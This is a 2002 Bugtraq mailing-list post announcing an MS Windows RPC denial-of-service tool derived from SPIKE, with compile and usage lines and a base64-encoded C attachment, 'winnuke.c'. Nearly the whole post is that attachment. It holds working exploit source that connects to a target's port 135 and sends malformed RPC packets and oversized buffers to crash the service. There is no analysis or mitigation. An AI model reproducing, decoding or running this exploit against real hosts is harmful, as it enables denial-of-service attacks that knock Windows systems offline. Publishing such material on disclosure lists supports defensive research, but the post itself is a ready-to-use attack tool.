[27557] in bugtraq
MS WIN RPC DoS CODE FROM SPIKE v2.7
daemon@ATHENA.MIT.EDU (lion)
Tue Oct 22 15:59:01 2002
Message-ID: <20021022181916.16432.qmail@securityfocus.com>
From: "lion" <lion@cnhonker.net>
To: "bugtraq@securityfocus.com" <bugtraq@securityfocus.com>
Mime-Version: 1.0
Content-Type: multipart/mixed;
boundary="=====000_Dragon787721057228_====="
Date: Wed, 23 Oct 2002 2:25:22 +0800
--=====000_Dragon787721057228_=====
Content-Type: text/plain;
charset="GB2312"
Content-Transfer-Encoding: 7bit
*
* MS WIN RPC DoS CODE FROM SPIKE v2.7
*
* Compile it use:
* cl winnuke.c
*
* Usage:
* winnuke targetip
*
* Code by lion, Welcomde to HUC Website Http://www.cnhonker.com
* 2002/10/22
*
--=====000_Dragon787721057228_=====
Content-Type: application/octet-stream;
name="winnuke.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="winnuke.c"
LyoNCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKg0KKiBNUyBXSU4gUlBDIERvUyBDT0RFIEZST00gU1BJS0UgdjIu
Nw0KKiANCiogQ29tcGlsZSBpdCB1c2U6DQoqIGNsIHdpbm51a2UuYw0KKg0KKiBVc2FnZToNCiog
d2lubnVrZSB0YXJnZXRpcCAgIA0KKg0KKiBDb2RlIGJ5IGxpb24sIFdlbGNvbWRlIHRvIEhVQyBX
ZWJzaXRlIEh0dHA6Ly93d3cuY25ob25rZXIuY29tDQoqIDIwMDIvMTAvMjINCioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKg0KKi8NCg0KI2luY2x1ZGUgPHdpbnNvY2syLmg+DQojaW5jbHVkZSA8c3RkaW8uaD4NCg0K
I3ByYWdtYSBjb21tZW50KGxpYiwgIndzMl8zMi5saWIiKQ0KDQpjaGFyIHNlbmRjb2RlMVtdID0g
DQoJIlx4MDVceDAwXHgwYlx4MDNceDEwXHgwMFx4MDBceDAwXHg0OFx4MDBceDAwXHgwMFx4MDJc
eDAwXHgwMFx4MDAiDQoJIlx4ZDBceDE2XHhkMFx4MTZceDAwXHgwMFx4MDBceDAwXHgwMVx4MDBc
eDAwXHgwMFx4MDBceDAwXHgwMVx4MDAiDQoJIlx4NjBceDllXHhlN1x4YjlceDUyXHgzZFx4Y2Vc
eDExXHhhYVx4YTFceDAwXHgwMFx4NjlceDAxXHgyOVx4M2YiDQoJIlx4MDJceDAwXHgwMlx4MDBc
eDA0XHg1ZFx4ODhceDhhXHhlYlx4MWNceGM5XHgxMVx4OWZceGU4XHgwOFx4MDAiDQoJIlx4MmJc
eDEwXHg0OFx4NjBceDAyXHgwMFx4MDBceDAwXHgwNVx4MDBceDAwXHgwMVx4MTBceDAwXHgwMFx4
MDAiDQoJIlx4ZDBceDE2XHgwMFx4MDBceDhmXHgwMFx4MDBceDAwXHgyMFx4MjdceDAxXHgwMFx4
MDBceDAwXHgwMlx4MDAiDQoJIlx4ZjBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHhmMFx4
MDBceDAwXHgwMCI7DQoNCmNoYXIgc2VuZGNvZGUyW10gPSANCgkiXHg4OFx4MTNceDAwXHgwMFx4
MDBceDAwXHgwMFx4MDBceDg4XHgxM1x4MDBceDAwIjsNCg0KY2hhciBzZW5kY29kZTNbXSA9IA0K
CSJceGZmXHhmZlx4ZmZceGZmXHhmZlx4ZmZceGZmXHhmZlx4MDBceDAwXHgwMFx4MDBceDAwXHgw
MFx4MDBceDAwIg0KCSJceDAwXHgwMFx4MDBceDAwXHgwMFx4MDJceDAwXHgwMFx4MDBceDAwXHgw
MFx4MDBceDAwXHgwMlx4MDBceDAwIjsNCg0KY2hhciBzZW5kY29kZTRbXSA9IA0KCSJceGZlXHhm
Zlx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4ZmVceGZmXHgwMFx4MDBceDNkXHgzZFx4M2RceDNk
IiANCgkiXHgzZFx4M2RceDNkXHgzZFx4M2RceDNkXHgzZFx4M2RceDNkXHgzZFx4M2RceDNkXHgz
ZFx4M2RceDNkXHgzZCINCgkiXHgwNVx4MDBceDAwXHgwMFx4MTBceDAwXHgwMFx4MDBceGQwXHgx
Nlx4MDBceDAwXHg4Zlx4MDBceDAwXHgwMCINCgkiXHg1MFx4MTBceDAxXHgwMFx4MDBceDAwXHgw
Mlx4MDAiOw0KDQpjaGFyIHNlbmRjb2RlNVtdID0gDQoJIlx4MDVceDAwXHgwMFx4MDBceDEwXHgw
MFx4MDBceDAwXHhkMFx4MTZceDAwXHgwMFx4OGZceDAwXHgwMFx4MDAiDQoJIlx4ODBceGY5XHgw
MFx4MDBceDAwXHgwMFx4MDJceDAwIjsNCg0KY2hhciBzZW5kY29kZTZbXSA9IA0KCSJceDA1XHgw
MFx4MDBceDAwXHgxMFx4MDBceDAwXHgwMFx4ZDBceDE2XHgwMFx4MDBceDhmXHgwMFx4MDBceDAw
Ig0KCSJceGIwXHhlMlx4MDBceDAwXHgwMFx4MDBceDAyXHgwMCI7DQoNCmNoYXIgc2VuZGNvZGU3
W10gPSANCgkiXHgwNVx4MDBceDAwXHgwMlx4MTBceDAwXHgwMFx4MDBceDYwXHgxNVx4MDBceDAw
XHg4Zlx4MDBceDAwXHgwMCINCgkiXHg2MFx4MTVceDAwXHgwMFx4MDBceDAwXHgwMlx4MDAiOw0K
DQpjaGFyIHNlbmRjb2RlOFtdID0gDQoJIlx4MDBceDAwXHgwMVx4MTBceDAwXHgwMFx4MDBceDAw
XHgwMFx4MDBceDAxXHgxMFx4MDBceDAwIjsNCg0KaW50IG1haW4oaW50IGFyZ2MsIGNoYXIgKmFy
Z3ZbXSkNCnsNCglXU0FEQVRBIHdzYURhdGE7DQoJV09SRCB3VmVyc2lvblJlcXVlc3RlZDsNCglz
dHJ1Y3QgaG9zdGVudCAJCSpwVGFyZ2V0Ow0KCXN0cnVjdCBzb2NrYWRkcl9pbiAJc29jazsNCglj
aGFyICp0YXJnZXRpcDsNCglpbnQgcG9ydCxidWZzaXplOw0KCVNPQ0tFVCBzOw0KCWNoYXIgYnVm
ZmVyWzIwNDgwXTsNCg0KCXByaW50ZigiPT09PT09PT09PT09PT09PT09PT09PT09PSBIVUMgV2lu
MjAwMC9YUCBSUEMgTnVrZSBWMC4xMCA9PT09PT09PT09PT09PT09PT09PT09PVxyXG4iKTsNCglw
cmludGYoIj09PT09PT09PT09PT09PT09IEJ5IExpb24sIFdlbGNvbWUgdG8gaHR0cDovL3d3dy5j
bmhvbmtlci5jb20gPT09PT09PT09PT09PT09PT1cclxuXG4iKTsNCg0KCWlmIChhcmdjIDwgMikN
Cgl7DQoJCXByaW50ZigiVXNhZ2U6XHJcbiIpOw0KCQlwcmludGYoIiAgICAlcyA8VGFyZ2V0SVA+
IFtUYXJnZXRQb3J0XVxyXG4iLCBhcmd2WzBdKTsNCgkJcHJpbnRmKCJFeGFtcGxlOlxyXG4iKTsN
CgkJcHJpbnRmKCIgICAgJXMgMTkyLjE2OC4wLjFcclxuIiwgYXJndlswXSk7DQoJCXByaW50Zigi
ICAgICVzIDE5Mi4xNjguMC4xIDEzNVxyXG4iLCBhcmd2WzBdKTsNCgkJcHJpbnRmKCJQUzpcclxu
Iik7DQoJCXByaW50ZigiICAgIElmIHRhcmdldCBpcyBYUCwgdHJ5IDIgdGltZXMuXHJcbiIpOw0K
CQlleGl0KDEpOw0KCX0NCg0KCXdWZXJzaW9uUmVxdWVzdGVkID0gTUFLRVdPUkQoMSwgMSk7DQoJ
aWYgKFdTQVN0YXJ0dXAod1ZlcnNpb25SZXF1ZXN0ZWQsICZ3c2FEYXRhKSA8IDApIHJldHVybiAt
MTsNCg0KCXRhcmdldGlwID0gYXJndlsxXTsNCglwb3J0ID0gMTM1Ow0KCWlmIChhcmdjID49IDMp
IHBvcnQgPSBhdG9pKGFyZ3ZbMl0pOw0KCWJ1ZnNpemUgPSA1MTI7DQoJaWYgKGFyZ2MgPj0gNCkg
YnVmc2l6ZSA9IGF0b2koYXJndlszXSk7DQoNCglzID0gc29ja2V0KEFGX0lORVQsIFNPQ0tfU1RS
RUFNLCAwKTsNCglpZihzPT1JTlZBTElEX1NPQ0tFVCkNCgl7CQ0KCQlwcmludGYoIlNvY2tldCBl
cnJvciFcclxuIik7DQoJCWV4aXQoMSk7DQoJfQ0KDQoJcHJpbnRmKCJSZXNvbHZpbmcgSG9zdG5h
bWVzLi4uXG4iKTsNCglpZiAoKHBUYXJnZXQgPSBnZXRob3N0YnluYW1lKHRhcmdldGlwKSkgPT0g
TlVMTCkNCgl7DQoJCXByaW50ZigiUmVzb2x2ZSBvZiAlcyBmYWlsZWQsIHBsZWFzZSB0cnkgYWdh
aW4uXG4iLCBhcmd2WzFdKTsNCgkJZXhpdCgxKTsNCgl9DQoNCgltZW1jcHkoJnNvY2suc2luX2Fk
ZHIuc19hZGRyLCBwVGFyZ2V0LT5oX2FkZHIsIHBUYXJnZXQtPmhfbGVuZ3RoKTsNCglzb2NrLnNp
bl9mYW1pbHkgPSBBRl9JTkVUOw0KCXNvY2suc2luX3BvcnQgPSBodG9ucygoVVNIT1JUKXBvcnQp
Ow0KDQoJcHJpbnRmKCJDb25uZWN0aW5nLi4uXG4iKTsNCglpZiAoIChjb25uZWN0KHMsIChzdHJ1
Y3Qgc29ja2FkZHIgKikmc29jaywgc2l6ZW9mIChzb2NrKSApKSkNCgl7DQoJCXByaW50ZigiQ291
bGRuJ3QgY29ubmVjdCB0byBob3N0LlxuIik7DQoJCWV4aXQoMSk7DQoJfQ0KDQoJcHJpbnRmKCJD
b25uZWN0ZWQhLi4uXG4iKTsNCglwcmludGYoIlNlbmRpbmcgUGFja2V0cy4uLlxuIik7DQoJaWYg
KHNlbmQocywgc2VuZGNvZGUxLCBzaXplb2Yoc2VuZGNvZGUxKS0xLCAwKSA9PSAtMSkNCgl7DQoJ
CXByaW50ZigiRXJyb3Igc2VuZGluZyBudWtlIFBhY2tldHNcclxuIik7DQoJCWNsb3Nlc29ja2V0
KHMpOw0KCQlleGl0KDEpOw0KCX0NCg0KCW1lbXNldCgmYnVmZmVyLCAnXHg0MScsIDI0MCk7DQoJ
c2VuZChzLCBidWZmZXIsIDI0MCwgMCk7DQoNCglzZW5kKHMsIHNlbmRjb2RlMiwgc2l6ZW9mKHNl
bmRjb2RlMiktMSwgMCk7DQoJbWVtc2V0KCZidWZmZXIsICdceDQyJywgNTAwMCk7DQoJc2VuZChz
LCBidWZmZXIsIDUwMDAsIDApOw0KDQoJc2VuZChzLCBzZW5kY29kZTMsIHNpemVvZihzZW5kY29k
ZTMpLTEsIDApOw0KCW1lbXNldCgmYnVmZmVyLCAnXHg0MycsIDUxMik7DQoJc2VuZChzLCBidWZm
ZXIsIDUxMiwgMCk7DQoJDQoJc2VuZChzLCBzZW5kY29kZTQsIHNpemVvZihzZW5kY29kZTQpLTEs
IDApOw0KLy8JbWVtc2V0KCZidWZmZXIsICdceDQ0JywgMjA0ODApOw0KLy8Jc2VuZChzLCBidWZm
ZXIsIDIwNDgwLCAwKTsNCg0KLy8JLyoNCgltZW1zZXQoJmJ1ZmZlciwgJ1x4NDQnLCA1MDAwKTsN
CglzZW5kKHMsIGJ1ZmZlciwgNTAwMCwgMCk7DQoNCglzZW5kKHMsIHNlbmRjb2RlNSwgc2l6ZW9m
KHNlbmRjb2RlNSktMSwgMCk7DQoJbWVtc2V0KCZidWZmZXIsICdceDQ1JywgNTAwMCk7DQoJc2Vu
ZChzLCBidWZmZXIsIDUwMDAsIDApOw0KDQoJc2VuZChzLCBzZW5kY29kZTYsIHNpemVvZihzZW5k
Y29kZTYpLTEsIDApOw0KCW1lbXNldCgmYnVmZmVyLCAnXHg0NicsIDUwMDApOw0KCXNlbmQocywg
YnVmZmVyLCA1MDAwLCAwKTsNCg0KCXNlbmQocywgc2VuZGNvZGU3LCBzaXplb2Yoc2VuZGNvZGU3
KS0xLCAwKTsNCgltZW1zZXQoJmJ1ZmZlciwgJ1x4NDcnLCA1MDAwKTsNCglzZW5kKHMsIGJ1ZmZl
ciwgNTAwMCwgMCk7DQoNCglzZW5kKHMsIHNlbmRjb2RlOCwgc2l6ZW9mKHNlbmRjb2RlOCktMSwg
MCk7DQoJbWVtc2V0KCZidWZmZXIsICdceDQ4JywgNTAwMCk7DQoJc2VuZChzLCBidWZmZXIsIDUw
MDAsIDApOw0KCQ0KLy8JKi8gDQoJcHJpbnRmKCJOdWtlZCEgXHJcbklmIHRhcmdldCBpcyBYUCwg
dHJ5IGEgYWdhaW4hIDopXHJcbiIpOw0KCWNsb3Nlc29ja2V0KHMpOw0KCVdTQUNsZWFudXAoKTsN
CglyZXR1cm4gMDsNCn0=
--=====000_Dragon787721057228_=====--
